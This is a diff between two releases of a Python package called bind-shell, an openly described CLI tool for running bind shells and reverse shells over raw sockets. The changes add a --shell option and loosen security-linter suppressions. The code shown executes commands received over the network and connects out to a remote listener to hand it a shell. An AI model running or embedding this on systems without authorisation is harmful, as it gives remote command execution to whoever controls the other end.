bind-shell 0.1.2rc2__tar.gz → 0.1.3rc2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: bind-shell
3
- Version: 0.1.2rc2
3
+ Version: 0.1.3rc2
4
4
  Summary: A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
5
5
  License: MIT
6
6
  Author: Tyson Holub
@@ -26,7 +26,7 @@ pythonpath = ["pysrc"]
26
26
 
27
27
  [tool.poetry]
28
28
  name = "bind-shell"
29
- version = "0.1.2rc2"
29
+ version = "0.1.3rc2"
30
30
  description = "A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies."
31
31
  authors = ["Tyson Holub <tyson@tysonholub.com>"]
32
32
  license = "MIT"
@@ -56,7 +56,7 @@ include_trailing_comma = true
56
56
  src_paths = ["pysrc", "pytests"]
57
57
 
58
58
  [tool.bandit]
59
- skips = ["B603", "B602"]
59
+ skips = ["B104", "B604", "B603", "B602"]
60
60
 
61
61
  [tool.coverage.report]
62
62
  # Regexes for lines to exclude from consideration
@@ -47,13 +47,16 @@ def _generate_password() -> str:
47
47
 
48
48
  @cli.command(name="server", help="Bind shell: bind a port and execute commands from an incoming client")
49
49
  def server(
50
- host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0", # nosec: B104
50
+ host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
51
51
  port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
52
+ shell: Annotated[
53
+ str | None, typer.Option("--shell", help="Shell executable to use (e.g. /bin/bash, pwsh)")
54
+ ] = None,
52
55
  ):
53
56
  ip = get_ip()
54
57
  password = _generate_password()
55
58
  logger.info(f"Bind-Shell Connection: bind-shell client {ip} --port {port} --password {password}")
56
- run_server(host=host, port=port, password=password)
59
+ run_server(host=host, port=port, password=password, shell=shell)
57
60
 
58
61
 
59
62
  @cli.command(name="client", help="Bind shell: connect to a server and send commands interactively")
@@ -67,7 +70,7 @@ def client(
67
70
 
68
71
  @cli.command(name="listen", help="Reverse shell: bind a port and send commands to an incoming connector")
69
72
  def listen(
70
- host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0", # nosec: B104
73
+ host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
71
74
  port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
72
75
  ):
73
76
  ip = get_ip()
@@ -81,5 +84,8 @@ def connect(
81
84
  host: Annotated[str, typer.Argument(help="Host address of the reverse shell listener")],
82
85
  port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
83
86
  password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
87
+ shell: Annotated[
88
+ str | None, typer.Option("--shell", help="Shell executable to use (e.g. /bin/bash, pwsh)")
89
+ ] = None,
84
90
  ):
85
- run_connect(host=host, port=port, password=password)
91
+ run_connect(host=host, port=port, password=password, shell=shell)
@@ -32,7 +32,7 @@ def _auth_client(sock: socket.socket, password: str) -> bool:
32
32
  return response.strip() == b"authenticated"
33
33
 
34
34
 
35
- def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT):
35
+ def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT, shell: str | None = None):
36
36
  while True:
37
37
  conn.sendall(prompt)
38
38
  try:
@@ -46,7 +46,10 @@ def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT):
46
46
  break
47
47
  logger.info(f"$ {cmd}")
48
48
  try:
49
- result = subprocess.run(cmd, shell=True, capture_output=True, timeout=CMD_TIMEOUT) # nosec
49
+ if shell:
50
+ result = subprocess.run([shell, "-c", cmd], capture_output=True, timeout=CMD_TIMEOUT) # nosec
51
+ else:
52
+ result = subprocess.run(cmd, shell=True, capture_output=True, timeout=CMD_TIMEOUT) # nosec
50
53
  output = result.stdout + result.stderr
51
54
  except subprocess.TimeoutExpired:
52
55
  output = b"Command timed out\n"
@@ -76,13 +79,13 @@ def _interactive_loop(sock: socket.socket):
76
79
  pass
77
80
 
78
81
 
79
- def _executor_session(conn: socket.socket, addr: tuple, password: str):
82
+ def _executor_session(conn: socket.socket, addr: tuple, password: str, shell: str | None = None):
80
83
  logger.info(f"Client connected: {addr[0]}:{addr[1]}")
81
84
  if not _auth_server(conn, password):
82
85
  logger.info(f"Authentication failed: {addr[0]}:{addr[1]}")
83
86
  return
84
87
  try:
85
- _executor_loop(conn, prompt=f"bind-shell@{conn.getsockname()[0]}$ ".encode())
88
+ _executor_loop(conn, prompt=f"bind-shell@{conn.getsockname()[0]}$ ".encode(), shell=shell)
86
89
  finally:
87
90
  logger.info(f"Client disconnected: {addr[0]}:{addr[1]}")
88
91
 
@@ -101,7 +104,7 @@ def _interactive_session(conn: socket.socket, addr: tuple, password: str):
101
104
  sys.stdout.buffer.flush()
102
105
 
103
106
 
104
- def run_server(host: str, port: int, password: str):
107
+ def run_server(host: str, port: int, password: str, shell: str | None = None):
105
108
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
106
109
  server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
107
110
  server.bind((host, port))
@@ -109,7 +112,7 @@ def run_server(host: str, port: int, password: str):
109
112
  try:
110
113
  while True:
111
114
  conn, addr = server.accept()
112
- threading.Thread(target=_executor_session, args=(conn, addr, password), daemon=True).start()
115
+ threading.Thread(target=_executor_session, args=(conn, addr, password, shell), daemon=True).start()
113
116
  except KeyboardInterrupt:
114
117
  pass
115
118
 
@@ -136,10 +139,10 @@ def run_listen(host: str, port: int, password: str):
136
139
  pass
137
140
 
138
141
 
139
- def run_connect(host: str, port: int, password: str):
142
+ def run_connect(host: str, port: int, password: str, shell: str | None = None):
140
143
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
141
144
  sock.connect((host, port))
142
145
  local_ip, local_port = sock.getsockname()
143
146
  if not _auth_client(sock, password):
144
147
  raise Exception("Authentication failed")
145
- _executor_loop(sock, prompt=f"bind-shell@{local_ip}:{local_port}$ ".encode())
148
+ _executor_loop(sock, prompt=f"bind-shell@{local_ip}:{local_port}$ ".encode(), shell=shell)
File without changes
File without changes